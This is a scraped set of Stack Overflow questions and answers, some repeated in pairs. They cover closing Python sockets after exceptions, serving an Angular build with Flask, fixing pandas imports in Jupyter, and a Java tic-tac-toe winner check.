In my case, I have set camera like this (in c++ code): ```cpp // cam is cv::VideoCapture object cam.set(cv::CAP_PROP_BUFFERSIZE, 1); cam.set(cv::CAP_PROP_FPS, 20); // set fps before set fourcc cam.set(cv::CAP_PROP_FOURCC, cv::VideoWriter::fourcc('M', 'J', 'P', 'G')); ``` `CAP_PROP_BUFFERSIZE` doesn't matter, but `CAP_PROP_FPS` must be set before `CAP_PROP_FOURCC`. By this setup, my camera fps increases from 5 to 20.
1,475,193
My class contains a socket that connects to a server. Some of the methods of the class can throw an exception. The script I'm running contains an outer loop that catches the exception, logs an error, and creates a new class instance that tries to reconnect to the server. Problem is that the server only handles one connection at a time (by design) and the "old" socket is still connected. So the new connection attempt hangs the script. I can work around this by forcing the old socket closed, but I wonder: why doesn't the socket automatically close? When it is "stuck", netstat shows two sockets connected to the port. The server is waiting for input from the first socket though, it isn't handling the new one yet. I run this against a dummy server that replies "error\n" to every incoming line. EDIT: see my comment on [Mark Rushakoff's answer below](https://stackoverflow.com/questions/1475193/what-happens-to-a-python-object-when-you-throw-an-exception-from-it/1475198#1475198). An assert(False) [that I subsequently catch] from within the exception handler seems to force the socket closed. ``` import socket class MyException(Exception): pass class MyClient(object): def __init__(self, port): self.sock = socket.create_connection(('localhost', port)) self.sockfile = self.sock.makefile() def do_stuff(self): self._send("do_stuff\n") response = self._receive() if response != "ok\n": raise MyException() return response def _send(self, cmd): self.sockfile.write(cmd) self.sockfile.flush() def _receive(self): return self.sockfile.readline() def connect(): c = MyClient(9989) # On the second iteration, do_stuff() tries to send data and # hangs indefinitely. print c.do_stuff() if __name__ == '__main__': for _ in xrange(3): try: connect() except MyException, e: print 'Caught:', e # This would be the workaround if I had access to the # MyClient object: #c.sock.close() #c.sockfile.close() ``` EDIT: Here's the (ugly) server code: ``` import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.bind(('localhost', 9989)) s.listen(5) (c,a) = s.accept() f = c.makefile() print f.readline() f.write('error\n') f.flush() (c2,a) = s.accept() f = c.makefile() print f.readline() s.close() ```
2009/09/25
[ "https://Stackoverflow.com/questions/1475193", "https://Stackoverflow.com", "https://Stackoverflow.com/users/67022/" ]
This is an artifact of garbage collection. Even though the object is *out of scope*, it is not necessarily *collected* and therefore *destroyed* until a garbage collection run occurs -- this is not like C++ where a destructor is called as soon as an object loses scope. You can probably work around this particular issue by changing `connect` to ``` def connect(): try: c = MyClient(9989) # On the second iteration, do_stuff() tries to send data and # hangs indefinitely. print c.do_stuff() finally: c.sock.close() c.sockfile.close() ``` Alternatively, you could define `__enter__` and `__exit__` for `MyClient`, and do [a with statement](http://effbot.org/zone/python-with-statement.htm): ``` def connect(): with MyClient(9989) as c: print c.do_stuff() ``` Which is effectively the same as a try-finally.
Ok, here's the final version. Explicitly close the socket objects when something gets borked. ``` import socket class MyException(Exception): pass class MyClient(object): def __init__(self, port): self.sock = socket.create_connection(('localhost', port)) self.sockfile = self.sock.makefile() def close(self): self.sock.close() self.sockfile.close() def do_stuff(self): self._send("do_stuff\n") response = self._receive() if response != "ok\n": raise MyException() return response def _send(self, cmd): self.sockfile.write(cmd) self.sockfile.flush() def _receive(self): return self.sockfile.readline() def connect(): try: c = MyClient(9989) print c.do_stuff() except MyException: print 'Caught MyException' finally: c.close() if __name__ == '__main__': for _ in xrange(2): connect() ```
1,475,193
My class contains a socket that connects to a server. Some of the methods of the class can throw an exception. The script I'm running contains an outer loop that catches the exception, logs an error, and creates a new class instance that tries to reconnect to the server. Problem is that the server only handles one connection at a time (by design) and the "old" socket is still connected. So the new connection attempt hangs the script. I can work around this by forcing the old socket closed, but I wonder: why doesn't the socket automatically close? When it is "stuck", netstat shows two sockets connected to the port. The server is waiting for input from the first socket though, it isn't handling the new one yet. I run this against a dummy server that replies "error\n" to every incoming line. EDIT: see my comment on [Mark Rushakoff's answer below](https://stackoverflow.com/questions/1475193/what-happens-to-a-python-object-when-you-throw-an-exception-from-it/1475198#1475198). An assert(False) [that I subsequently catch] from within the exception handler seems to force the socket closed. ``` import socket class MyException(Exception): pass class MyClient(object): def __init__(self, port): self.sock = socket.create_connection(('localhost', port)) self.sockfile = self.sock.makefile() def do_stuff(self): self._send("do_stuff\n") response = self._receive() if response != "ok\n": raise MyException() return response def _send(self, cmd): self.sockfile.write(cmd) self.sockfile.flush() def _receive(self): return self.sockfile.readline() def connect(): c = MyClient(9989) # On the second iteration, do_stuff() tries to send data and # hangs indefinitely. print c.do_stuff() if __name__ == '__main__': for _ in xrange(3): try: connect() except MyException, e: print 'Caught:', e # This would be the workaround if I had access to the # MyClient object: #c.sock.close() #c.sockfile.close() ``` EDIT: Here's the (ugly) server code: ``` import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.bind(('localhost', 9989)) s.listen(5) (c,a) = s.accept() f = c.makefile() print f.readline() f.write('error\n') f.flush() (c2,a) = s.accept() f = c.makefile() print f.readline() s.close() ```
2009/09/25
[ "https://Stackoverflow.com/questions/1475193", "https://Stackoverflow.com", "https://Stackoverflow.com/users/67022/" ]
This is an artifact of garbage collection. Even though the object is *out of scope*, it is not necessarily *collected* and therefore *destroyed* until a garbage collection run occurs -- this is not like C++ where a destructor is called as soon as an object loses scope. You can probably work around this particular issue by changing `connect` to ``` def connect(): try: c = MyClient(9989) # On the second iteration, do_stuff() tries to send data and # hangs indefinitely. print c.do_stuff() finally: c.sock.close() c.sockfile.close() ``` Alternatively, you could define `__enter__` and `__exit__` for `MyClient`, and do [a with statement](http://effbot.org/zone/python-with-statement.htm): ``` def connect(): with MyClient(9989) as c: print c.do_stuff() ``` Which is effectively the same as a try-finally.
The garbage collector can be flagged to clean up by setting the relevant object to None.
1,475,193
My class contains a socket that connects to a server. Some of the methods of the class can throw an exception. The script I'm running contains an outer loop that catches the exception, logs an error, and creates a new class instance that tries to reconnect to the server. Problem is that the server only handles one connection at a time (by design) and the "old" socket is still connected. So the new connection attempt hangs the script. I can work around this by forcing the old socket closed, but I wonder: why doesn't the socket automatically close? When it is "stuck", netstat shows two sockets connected to the port. The server is waiting for input from the first socket though, it isn't handling the new one yet. I run this against a dummy server that replies "error\n" to every incoming line. EDIT: see my comment on [Mark Rushakoff's answer below](https://stackoverflow.com/questions/1475193/what-happens-to-a-python-object-when-you-throw-an-exception-from-it/1475198#1475198). An assert(False) [that I subsequently catch] from within the exception handler seems to force the socket closed. ``` import socket class MyException(Exception): pass class MyClient(object): def __init__(self, port): self.sock = socket.create_connection(('localhost', port)) self.sockfile = self.sock.makefile() def do_stuff(self): self._send("do_stuff\n") response = self._receive() if response != "ok\n": raise MyException() return response def _send(self, cmd): self.sockfile.write(cmd) self.sockfile.flush() def _receive(self): return self.sockfile.readline() def connect(): c = MyClient(9989) # On the second iteration, do_stuff() tries to send data and # hangs indefinitely. print c.do_stuff() if __name__ == '__main__': for _ in xrange(3): try: connect() except MyException, e: print 'Caught:', e # This would be the workaround if I had access to the # MyClient object: #c.sock.close() #c.sockfile.close() ``` EDIT: Here's the (ugly) server code: ``` import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.bind(('localhost', 9989)) s.listen(5) (c,a) = s.accept() f = c.makefile() print f.readline() f.write('error\n') f.flush() (c2,a) = s.accept() f = c.makefile() print f.readline() s.close() ```
2009/09/25
[ "https://Stackoverflow.com/questions/1475193", "https://Stackoverflow.com", "https://Stackoverflow.com/users/67022/" ]
This is an artifact of garbage collection. Even though the object is *out of scope*, it is not necessarily *collected* and therefore *destroyed* until a garbage collection run occurs -- this is not like C++ where a destructor is called as soon as an object loses scope. You can probably work around this particular issue by changing `connect` to ``` def connect(): try: c = MyClient(9989) # On the second iteration, do_stuff() tries to send data and # hangs indefinitely. print c.do_stuff() finally: c.sock.close() c.sockfile.close() ``` Alternatively, you could define `__enter__` and `__exit__` for `MyClient`, and do [a with statement](http://effbot.org/zone/python-with-statement.htm): ``` def connect(): with MyClient(9989) as c: print c.do_stuff() ``` Which is effectively the same as a try-finally.
Can you really handle the Exception in connect()? I think you should provide a MyClient.close() method, and write connect() like this: ``` def connect():     try:         c = MyClient(9989)         print c.do_stuff()     finally:         c.close() ``` This is in complete analogy with file-like objects (and the with statement)
1,475,193
My class contains a socket that connects to a server. Some of the methods of the class can throw an exception. The script I'm running contains an outer loop that catches the exception, logs an error, and creates a new class instance that tries to reconnect to the server. Problem is that the server only handles one connection at a time (by design) and the "old" socket is still connected. So the new connection attempt hangs the script. I can work around this by forcing the old socket closed, but I wonder: why doesn't the socket automatically close? When it is "stuck", netstat shows two sockets connected to the port. The server is waiting for input from the first socket though, it isn't handling the new one yet. I run this against a dummy server that replies "error\n" to every incoming line. EDIT: see my comment on [Mark Rushakoff's answer below](https://stackoverflow.com/questions/1475193/what-happens-to-a-python-object-when-you-throw-an-exception-from-it/1475198#1475198). An assert(False) [that I subsequently catch] from within the exception handler seems to force the socket closed. ``` import socket class MyException(Exception): pass class MyClient(object): def __init__(self, port): self.sock = socket.create_connection(('localhost', port)) self.sockfile = self.sock.makefile() def do_stuff(self): self._send("do_stuff\n") response = self._receive() if response != "ok\n": raise MyException() return response def _send(self, cmd): self.sockfile.write(cmd) self.sockfile.flush() def _receive(self): return self.sockfile.readline() def connect(): c = MyClient(9989) # On the second iteration, do_stuff() tries to send data and # hangs indefinitely. print c.do_stuff() if __name__ == '__main__': for _ in xrange(3): try: connect() except MyException, e: print 'Caught:', e # This would be the workaround if I had access to the # MyClient object: #c.sock.close() #c.sockfile.close() ``` EDIT: Here's the (ugly) server code: ``` import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.bind(('localhost', 9989)) s.listen(5) (c,a) = s.accept() f = c.makefile() print f.readline() f.write('error\n') f.flush() (c2,a) = s.accept() f = c.makefile() print f.readline() s.close() ```
2009/09/25
[ "https://Stackoverflow.com/questions/1475193", "https://Stackoverflow.com", "https://Stackoverflow.com/users/67022/" ]
Can you really handle the Exception in connect()? I think you should provide a MyClient.close() method, and write connect() like this: ``` def connect():     try:         c = MyClient(9989)         print c.do_stuff()     finally:         c.close() ``` This is in complete analogy with file-like objects (and the with statement)
Ok, here's the final version. Explicitly close the socket objects when something gets borked. ``` import socket class MyException(Exception): pass class MyClient(object): def __init__(self, port): self.sock = socket.create_connection(('localhost', port)) self.sockfile = self.sock.makefile() def close(self): self.sock.close() self.sockfile.close() def do_stuff(self): self._send("do_stuff\n") response = self._receive() if response != "ok\n": raise MyException() return response def _send(self, cmd): self.sockfile.write(cmd) self.sockfile.flush() def _receive(self): return self.sockfile.readline() def connect(): try: c = MyClient(9989) print c.do_stuff() except MyException: print 'Caught MyException' finally: c.close() if __name__ == '__main__': for _ in xrange(2): connect() ```
1,475,193
My class contains a socket that connects to a server. Some of the methods of the class can throw an exception. The script I'm running contains an outer loop that catches the exception, logs an error, and creates a new class instance that tries to reconnect to the server. Problem is that the server only handles one connection at a time (by design) and the "old" socket is still connected. So the new connection attempt hangs the script. I can work around this by forcing the old socket closed, but I wonder: why doesn't the socket automatically close? When it is "stuck", netstat shows two sockets connected to the port. The server is waiting for input from the first socket though, it isn't handling the new one yet. I run this against a dummy server that replies "error\n" to every incoming line. EDIT: see my comment on [Mark Rushakoff's answer below](https://stackoverflow.com/questions/1475193/what-happens-to-a-python-object-when-you-throw-an-exception-from-it/1475198#1475198). An assert(False) [that I subsequently catch] from within the exception handler seems to force the socket closed. ``` import socket class MyException(Exception): pass class MyClient(object): def __init__(self, port): self.sock = socket.create_connection(('localhost', port)) self.sockfile = self.sock.makefile() def do_stuff(self): self._send("do_stuff\n") response = self._receive() if response != "ok\n": raise MyException() return response def _send(self, cmd): self.sockfile.write(cmd) self.sockfile.flush() def _receive(self): return self.sockfile.readline() def connect(): c = MyClient(9989) # On the second iteration, do_stuff() tries to send data and # hangs indefinitely. print c.do_stuff() if __name__ == '__main__': for _ in xrange(3): try: connect() except MyException, e: print 'Caught:', e # This would be the workaround if I had access to the # MyClient object: #c.sock.close() #c.sockfile.close() ``` EDIT: Here's the (ugly) server code: ``` import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.bind(('localhost', 9989)) s.listen(5) (c,a) = s.accept() f = c.makefile() print f.readline() f.write('error\n') f.flush() (c2,a) = s.accept() f = c.makefile() print f.readline() s.close() ```
2009/09/25
[ "https://Stackoverflow.com/questions/1475193", "https://Stackoverflow.com", "https://Stackoverflow.com/users/67022/" ]
Can you really handle the Exception in connect()? I think you should provide a MyClient.close() method, and write connect() like this: ``` def connect():     try:         c = MyClient(9989)         print c.do_stuff()     finally:         c.close() ``` This is in complete analogy with file-like objects (and the with statement)
The garbage collector can be flagged to clean up by setting the relevant object to None.
45,692,749
Hello Python community I am angular and node.js developer and I want to try Python as backend of my server because I am new to python I want to ask you how to target the dist folder that contains all HTML and CSS and js files from the angular 4 apps in flask python server Because my app is SPA application I have set routes inside angular routing component When I run about or any other route I get this string message `'./dist/index.html'` And I know I return string message but I want to tell the flask whatever route the user type on URL let the angular to render the page because inside my angular app I have set this pages and is work any help how to start with flask and angular to build simple REST API Now I have this file structure ``` python-angular4-app |___ dist | |___ index.html | |___ style.css | |___ inline.js | |___ polyfill.js | |___ vendor.js | |___ favicon.ico | |___ assets | |___ server.py ``` My server.py have this content ------------------------------ ``` from flask import Flask app = Flask(__name__, ) @app.route('/') def main(): return './dist/index.html' @app.route('/about') def about(): return './dist/index.html' @app.route('/contact') def contact(): return './dist/index.html' if __name__ == "__main__": app.run(debug=True) ``` Best regards George35mk thnx for your help
2017/08/15
[ "https://Stackoverflow.com/questions/45692749", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6600549/" ]
Since I had this same problem, I hope this answer will help someone looking for it again. 1. First create your angular application and build it. (You will get all the required js files and index.html file inside the 'dist' folder. 2. Create your python + flask web app with required end points. ``` from flask import Flask,render_template app = Flask(__name__) @app.route("/") def hello(): return render_template('index.html') if __name__ == "__main__": app.run() ``` 3. Create a folder 'templates' inside your python app root folder. 4. Copy your index.html file from the angular dist folder to newly created 'templates' folder. 5. Create a another folder call 'static' inside your python app root folder 6. Then copy all the other static files( JS files and CSS files ) to this new folder. 7. Update your index.html file static file urls like this. ``` <script type="text/javascript" src="/static/inline.bundle.js"></script> ``` > > Flask look static files inside '/root\_folder/static' folder and update > url relative to this structure. > > > Done. Now your app will serve on localhost:5000 and angular app will served. Final folder structure will like this, ``` /pythondApplication |-server.py |-templates | -index.html |-static | -js files and css files ``` Since this is my first answer in stackoverflow,If there is a thing to be corrected, feel free to mention it.
I don't think that it's possible to access Angular 'dist' directory via a REST API. Any routing should be done on the client-side with Angular, and Flask should handle your end-points. In terms of building your REST API, I'd recommend something like this: ``` from flask import Flask, jsonify app = Flask(__name__) tasks = [ { 'id': 1, 'title': u'Buy groceries', 'description': u'Milk, Cheese, Pizza, Fruit, Tylenol', 'done': False }, { 'id': 2, 'title': u'Learn Python', 'description': u'Need to find a good Python tutorial on the web', 'done': False } ] @app.route('/todo/api/v1.0/tasks', methods=['GET']) def get_tasks(): return jsonify({'tasks': tasks}) if __name__ == '__main__': app.run(debug=True) ``` This is from a very helpful [tutorial](https://blog.miguelgrinberg.com/post/designing-a-restful-api-with-python-and-flask) on building a basic REST API in Flask. This will then plug in very nicely to your client-side in Angular: ``` getInfo() { return this.http.get( 'http://myapi/id') .map((res: Response) => res.json()); ``` }
35,253,338
I am able to import the pandas package within the spyder ide; however, if I attempt to open a new juypter notebook, the import fails. I use the Anaconda package distribution on MAC OS X. Here is what I do: ``` In [1]: import pandas ``` and this is the response I get: ``` --------------------------------------------------------------------------- ImportError Traceback (most recent call last) <ipython-input-5-97925edf8fb0> in <module>() ----> 1 import pandas //anaconda/lib/python2.7/site-packages/pandas/__init__.py in <module>() 11 "pandas from the source directory, you may need to run " 12 "'python setup.py build_ext --inplace' to build the C " ---> 13 "extensions first.".format(module)) 14 15 from datetime import datetime ImportError: C extension: hashtable not built. If you want to import pandas from the source directory, you may need to run 'python setup.py build_ext --inplace' to build the C extensions first. ```
2016/02/07
[ "https://Stackoverflow.com/questions/35253338", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3902319/" ]
You have more than one Python 2 engines installed. One in your main OS platform, another one inside Anaconda's virtual environment. You need to install Panda on the latter. Run in your Bash prompt: ``` which python ``` Then run the following in Jupyter/IPython and compare the result with the output you got from the Bash script: ``` from sys import executable print(executable) ``` If they differ, you should note the result of the latter (i.e. copy it), and then go to your Bash prompt, and do as follows: ``` <the 2nd output> -m pip install pandas ``` so it would be something **like** this: ``` /usr/bin/anaconda/python2 -m pip install pandas ``` And Pandas will be installed for your Anaconda Python. There is a way to add library paths to your existing environment, using `sys.path.append('path to alternative locations')`, but this has to be done every time your want to use the alternative environment as the effects are temporary. You can alternatively install everything in your main environment: ``` python -m pip install cython scipy panda matplotlib jupyter notebook ipython ``` Update: ======= Based on responses to the above section: Install `homebrew` like so: In your Terminal: ``` xcode-select --install ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" ``` then run: ``` brew doctor brew update brew upgrade ``` Now go ahead and install Python 2 through Brew: ``` brew install python ``` or for Python 3 ``` brew install python3 ``` Or do both. The install other useful stuff! ``` brew install git conda gfortran clang pkg-config ``` Then you can go ahead and install your desired libraries either using brew, or using `pip`, but first you should ensure that `pip` itself is installed. ``` easy_install pip ``` then you can install Python packages like so (NumPy is included in SciPy, and SciPy and Matplotlib depend on Cython and C, Scipy additionally uses fortran for ODE): ``` python2 -m install cython scipy pandas matplotlib jupyter ``` you can do that same thing for Python 3. This clean install should really solve the problem. If it didn't, download Python from Python.org and re-install it. `brew` sometime refuses to install a package if it finds out that the package already exists. I don't recommend removing Python 2 so that you can install it through `brew`. That might cause issues with OS X. So the best alternative is to repair existing installations by installing the package downloaded from the website. OS X ensures that the package is installed in the right place. Once this is done, you can then go back to the instructions, but start from `brew install python3`.
I had the same issue on Mac OS X with Anaconda (Python 2). I tried importing the pandas package in python repl, and got this error: ``` ValueError: unknown locale: UTF-8 ``` Therefore, I've added the following lines to my ~/.bash\_profile: ``` export LC_ALL=en_US.UTF-8 export LANG=en_US.UTF-8 ``` And this has fixed the issue for me.
35,253,338
I am able to import the pandas package within the spyder ide; however, if I attempt to open a new juypter notebook, the import fails. I use the Anaconda package distribution on MAC OS X. Here is what I do: ``` In [1]: import pandas ``` and this is the response I get: ``` --------------------------------------------------------------------------- ImportError Traceback (most recent call last) <ipython-input-5-97925edf8fb0> in <module>() ----> 1 import pandas //anaconda/lib/python2.7/site-packages/pandas/__init__.py in <module>() 11 "pandas from the source directory, you may need to run " 12 "'python setup.py build_ext --inplace' to build the C " ---> 13 "extensions first.".format(module)) 14 15 from datetime import datetime ImportError: C extension: hashtable not built. If you want to import pandas from the source directory, you may need to run 'python setup.py build_ext --inplace' to build the C extensions first. ```
2016/02/07
[ "https://Stackoverflow.com/questions/35253338", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3902319/" ]
You have more than one Python 2 engines installed. One in your main OS platform, another one inside Anaconda's virtual environment. You need to install Panda on the latter. Run in your Bash prompt: ``` which python ``` Then run the following in Jupyter/IPython and compare the result with the output you got from the Bash script: ``` from sys import executable print(executable) ``` If they differ, you should note the result of the latter (i.e. copy it), and then go to your Bash prompt, and do as follows: ``` <the 2nd output> -m pip install pandas ``` so it would be something **like** this: ``` /usr/bin/anaconda/python2 -m pip install pandas ``` And Pandas will be installed for your Anaconda Python. There is a way to add library paths to your existing environment, using `sys.path.append('path to alternative locations')`, but this has to be done every time your want to use the alternative environment as the effects are temporary. You can alternatively install everything in your main environment: ``` python -m pip install cython scipy panda matplotlib jupyter notebook ipython ``` Update: ======= Based on responses to the above section: Install `homebrew` like so: In your Terminal: ``` xcode-select --install ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" ``` then run: ``` brew doctor brew update brew upgrade ``` Now go ahead and install Python 2 through Brew: ``` brew install python ``` or for Python 3 ``` brew install python3 ``` Or do both. The install other useful stuff! ``` brew install git conda gfortran clang pkg-config ``` Then you can go ahead and install your desired libraries either using brew, or using `pip`, but first you should ensure that `pip` itself is installed. ``` easy_install pip ``` then you can install Python packages like so (NumPy is included in SciPy, and SciPy and Matplotlib depend on Cython and C, Scipy additionally uses fortran for ODE): ``` python2 -m install cython scipy pandas matplotlib jupyter ``` you can do that same thing for Python 3. This clean install should really solve the problem. If it didn't, download Python from Python.org and re-install it. `brew` sometime refuses to install a package if it finds out that the package already exists. I don't recommend removing Python 2 so that you can install it through `brew`. That might cause issues with OS X. So the best alternative is to repair existing installations by installing the package downloaded from the website. OS X ensures that the package is installed in the right place. Once this is done, you can then go back to the instructions, but start from `brew install python3`.
One thing that you can do it is install the libraries straight in Jupyter, you can try, in the cell: ``` !pip install pandas ``` or ``` !pip3 install pandas ```
35,253,338
I am able to import the pandas package within the spyder ide; however, if I attempt to open a new juypter notebook, the import fails. I use the Anaconda package distribution on MAC OS X. Here is what I do: ``` In [1]: import pandas ``` and this is the response I get: ``` --------------------------------------------------------------------------- ImportError Traceback (most recent call last) <ipython-input-5-97925edf8fb0> in <module>() ----> 1 import pandas //anaconda/lib/python2.7/site-packages/pandas/__init__.py in <module>() 11 "pandas from the source directory, you may need to run " 12 "'python setup.py build_ext --inplace' to build the C " ---> 13 "extensions first.".format(module)) 14 15 from datetime import datetime ImportError: C extension: hashtable not built. If you want to import pandas from the source directory, you may need to run 'python setup.py build_ext --inplace' to build the C extensions first. ```
2016/02/07
[ "https://Stackoverflow.com/questions/35253338", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3902319/" ]
I had the same issue on Mac OS X with Anaconda (Python 2). I tried importing the pandas package in python repl, and got this error: ``` ValueError: unknown locale: UTF-8 ``` Therefore, I've added the following lines to my ~/.bash\_profile: ``` export LC_ALL=en_US.UTF-8 export LANG=en_US.UTF-8 ``` And this has fixed the issue for me.
One thing that you can do it is install the libraries straight in Jupyter, you can try, in the cell: ``` !pip install pandas ``` or ``` !pip3 install pandas ```
67,558,323
Here's the thing, I'm building a streamlit app to get the cohorts data. Just like explained here: <https://towardsdatascience.com/a-step-by-step-introduction-to-cohort-analysis-in-python-a2cbbd8460ea>. So, basically I'm now at the point where I have a dataframe with the cohort date (cohort), the number of customers that belongs to that cohort and are buying in that month (n\_customers) and the month of the payment (order month). Now, I have to get a column with respect to the period number. What I mean is, I have this: ``` cohort order_month n_customers 2009-12 2009-12 1045 2009-12 2010-01 392 2009-12 2010-02 358 . . . ``` And I'm trying to get this: ``` cohort order_month n_customers period_number 2009-12 2009-12 1045 0 2009-12 2010-01 392 1 2009-12 2010-02 358 2 . . . ``` The name of the dataframe is df\_cohort. So, in month 12/2009, there were 1045 customers from cohort 12/2009 buying something. In month 01/2010, there were 392 customers from cohort 12/2009 buying something. And so on. I need to create the column **period\_number** in order to build my heatmap. I tried running this: ``` df_cohort["period_number"] = ( df_cohort - df_cohort ).apply(attrgetter("n")) ``` But I got this error: ``` AttributeError: 'Timedelta' object has no attribute 'n' ``` I needed to build the dataframe a little differently from the tutorial, that's why I have this error. Is there any way I can fix this from now on? Without changing something before, but only from this. Regarding the data types of each column, both order\_month and corhort are datetime64[ns].
2021/05/16
[ "https://Stackoverflow.com/questions/67558323", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15317245/" ]
The function `enumerate` returns a tuple which is causing the `TypeError`. You can just keep a placeholder variable to separate the tuple into i and another placeholder variable, like this: ``` print(*[min(abs(i - j) for j in b) for i,_ in enumerate(a)]) ``` Or alternatively, not use `enumerate` at all. ``` print(*[min(abs(i - j) for j in b) for i in range(n)]) ```
the enumerate function is used to get the index and the data of the list at the same time. so enumerate gives, for data,index in enumerate(a)
54,642,243
I'm trying to make a program in python for a data networking class to read in a file that contains 8 characters such as 00111001 and put it in a packet to then be converted to ASCII. I want to iterate through the packet and if it's a 1 then add the number in the conversation\_list =[128,64,32,16,8,4,2,1] according to the index of the for loop. I can't seem to get into any of my if statements. file contains: 0, 0, 1, 1, 1, 0, 0, 1 Here is my output: Accecpable number of arguments Printing files message on next line 0, 0, 1, 1, 1, 0, 0, 1 00111001 ['00111001'] here 0 1 0 ``` import sys filename = sys.argv[1] if len(sys.argv) == 2: print("Accecpable number of arguments") else: print("Wrong number of arguments") sys.exit(1) message_data = open(filename, "r") message_text = message_data.read() if len(message_text) == 0: print("Mess has zero length, " + filename + "was empty") print("Printing files message on next line") print(message_text) replace_message = message_text.replace(", ", "") print(replace_message) packets = [] for index in range(0, len(replace_message), 8): substring = replace_message[index:index+8] packets.append(substring) print(packets) conversion_list = [128,64,32,16,8,4,2,1] running_total = 0 for packets_index, value in enumerate(packets): if value[packets_index] == 1: running_total + conversion_list[packets_index] print(conversion_list[packets_index] + " added") if value[packets_index] == 0: print(packets_index) continue print (running_total) ```
2019/02/12
[ "https://Stackoverflow.com/questions/54642243", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7092778/" ]
``` int[][] winner = {{0, 1, 2}, {3, 4, 5}, {6, 7, 8}, {0, 3, 6}, {1, 4, 7}, {2, 5, 8}, {0, 4, 8}, {2, 4, 6}}; ``` This is all possible cases when there is a winner. The first 3 is horizontal, the next 3 is vertical, the last 2 is diagonal, where the numbers are defined like this, indicated in the previous code: ``` 0 | 1 | 2 ---+---+--- 3 | 4 | 5 ---+---+--- 6 | 7 | 8 ``` Then let's analyse the core code: ``` for (int[] columnWinner : winner) { // traverses all cases if ( // if there is a case satisfied // for a specified case for example {0, 1, 2} playerChoices[columnWinner[0]] == playerChoices[columnWinner[1]] && // check if choice at 0 is the same as choice at 1 playerChoices[columnWinner[1]] == playerChoices[columnWinner[2]] && // check if choice at 1 is the same as choice at 2 // then choice at 0 1 2 are the same playerChoices[columnWinner[0]] != Player.NO // and this "the same" is not "they are all empty" ) { // then there is a winner ```
I am assuming you are asking about the for each loop: ``` for (int[] columnWinner : winner) { ``` The loop is called a for each loop that creates a variable and gives it a value for every iteration in the loop. In this case, the loop creates an array of length 3 named columnWinner for each possible row, column, and diagonal on the tic-tac-toe board. Each time through the loop, it checks whether the person has won be verifying if all three elements in the columnWinner array are the same: ``` if (playerChoices[columnWinner[0]] == playerChoices[columnWinner[1]] && playerChoices[columnWinner[1]] == playerChoices[columnWinner[2]] ``` And then checking to make sure they are filled in, instead of empty. ``` && playerChoices[columnWinner[0]] != Player.NO) { ```
54,642,243
I'm trying to make a program in python for a data networking class to read in a file that contains 8 characters such as 00111001 and put it in a packet to then be converted to ASCII. I want to iterate through the packet and if it's a 1 then add the number in the conversation\_list =[128,64,32,16,8,4,2,1] according to the index of the for loop. I can't seem to get into any of my if statements. file contains: 0, 0, 1, 1, 1, 0, 0, 1 Here is my output: Accecpable number of arguments Printing files message on next line 0, 0, 1, 1, 1, 0, 0, 1 00111001 ['00111001'] here 0 1 0 ``` import sys filename = sys.argv[1] if len(sys.argv) == 2: print("Accecpable number of arguments") else: print("Wrong number of arguments") sys.exit(1) message_data = open(filename, "r") message_text = message_data.read() if len(message_text) == 0: print("Mess has zero length, " + filename + "was empty") print("Printing files message on next line") print(message_text) replace_message = message_text.replace(", ", "") print(replace_message) packets = [] for index in range(0, len(replace_message), 8): substring = replace_message[index:index+8] packets.append(substring) print(packets) conversion_list = [128,64,32,16,8,4,2,1] running_total = 0 for packets_index, value in enumerate(packets): if value[packets_index] == 1: running_total + conversion_list[packets_index] print(conversion_list[packets_index] + " added") if value[packets_index] == 0: print(packets_index) continue print (running_total) ```
2019/02/12
[ "https://Stackoverflow.com/questions/54642243", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7092778/" ]
``` int[][] winner = {{0, 1, 2}, {3, 4, 5}, {6, 7, 8}, {0, 3, 6}, {1, 4, 7}, {2, 5, 8}, {0, 4, 8}, {2, 4, 6}}; ``` This is all possible cases when there is a winner. The first 3 is horizontal, the next 3 is vertical, the last 2 is diagonal, where the numbers are defined like this, indicated in the previous code: ``` 0 | 1 | 2 ---+---+--- 3 | 4 | 5 ---+---+--- 6 | 7 | 8 ``` Then let's analyse the core code: ``` for (int[] columnWinner : winner) { // traverses all cases if ( // if there is a case satisfied // for a specified case for example {0, 1, 2} playerChoices[columnWinner[0]] == playerChoices[columnWinner[1]] && // check if choice at 0 is the same as choice at 1 playerChoices[columnWinner[1]] == playerChoices[columnWinner[2]] && // check if choice at 1 is the same as choice at 2 // then choice at 0 1 2 are the same playerChoices[columnWinner[0]] != Player.NO // and this "the same" is not "they are all empty" ) { // then there is a winner ```
The 3 x 3 board is represented (rather strangely) by a one-dimensional array. All winning positions were determined by hand and listed in the `winner` array, in triples because it takes 3 markers to occupy a winnng position in tic-tac-toe. The loop you indicate is checked each of those winning positions in turn. For example, consider winning position `{1, 4, 7}`. The if-statement is checking whether the values at board positions 1, 4, 7 are identical and not equal to the 'NO' value which says no-one has played there. The actual `winners` data is structured as an array of (3-element) arrays; so the for-loop takes each 3-element array at a time and uses it to drive the 'if' statement. For example, when `columnWinner` is `{1, 4, 7}` then `columnWinner[0]` is 4, and thus `playerChoices[columnWinner[0]]` is looking at `playerChoices[4]`.
41,042,599
